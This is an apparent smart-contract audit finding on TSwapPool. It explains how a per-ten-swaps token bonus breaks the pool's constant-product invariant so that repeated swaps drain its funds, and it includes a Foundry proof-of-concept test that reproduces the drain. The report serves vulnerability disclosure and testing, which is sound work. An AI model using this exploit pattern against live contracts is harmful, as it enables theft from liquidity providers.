x: The balance of the pool token
y: The balance of WETH
k: The constant product of the two balances
This means, that whenever the balances change in the protocol, the ratio between the two amounts should remain constant, hence the k. However, this is broken due to the extra incentive in the _swap function. Meaning that over time the protocol funds will be drained.
The follow block of code is responsible for the issue.
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
Most simply put, the protocol's core invariant is broken.
A user swaps 10 times, and collects the extra incentive of 1_000_000_000_000_000_000 tokens
That user continues to swap until all the protocol funds are drained
Place the following into TSwapPool.t.sol.
function testInvariantBroken() public {
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
uint256 outputWeth = 1e17;
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
int256 startingY = int256(weth.balanceOf(address(pool)));
int256 expectedDeltaY = int256(-1) * int256(outputWeth);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
vm.stopPrank();
uint256 endingY = weth.balanceOf(address(pool));
int256 actualDeltaY = int256(endingY) - int256(startingY);
assertEq(actualDeltaY, expectedDeltaY);
}
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.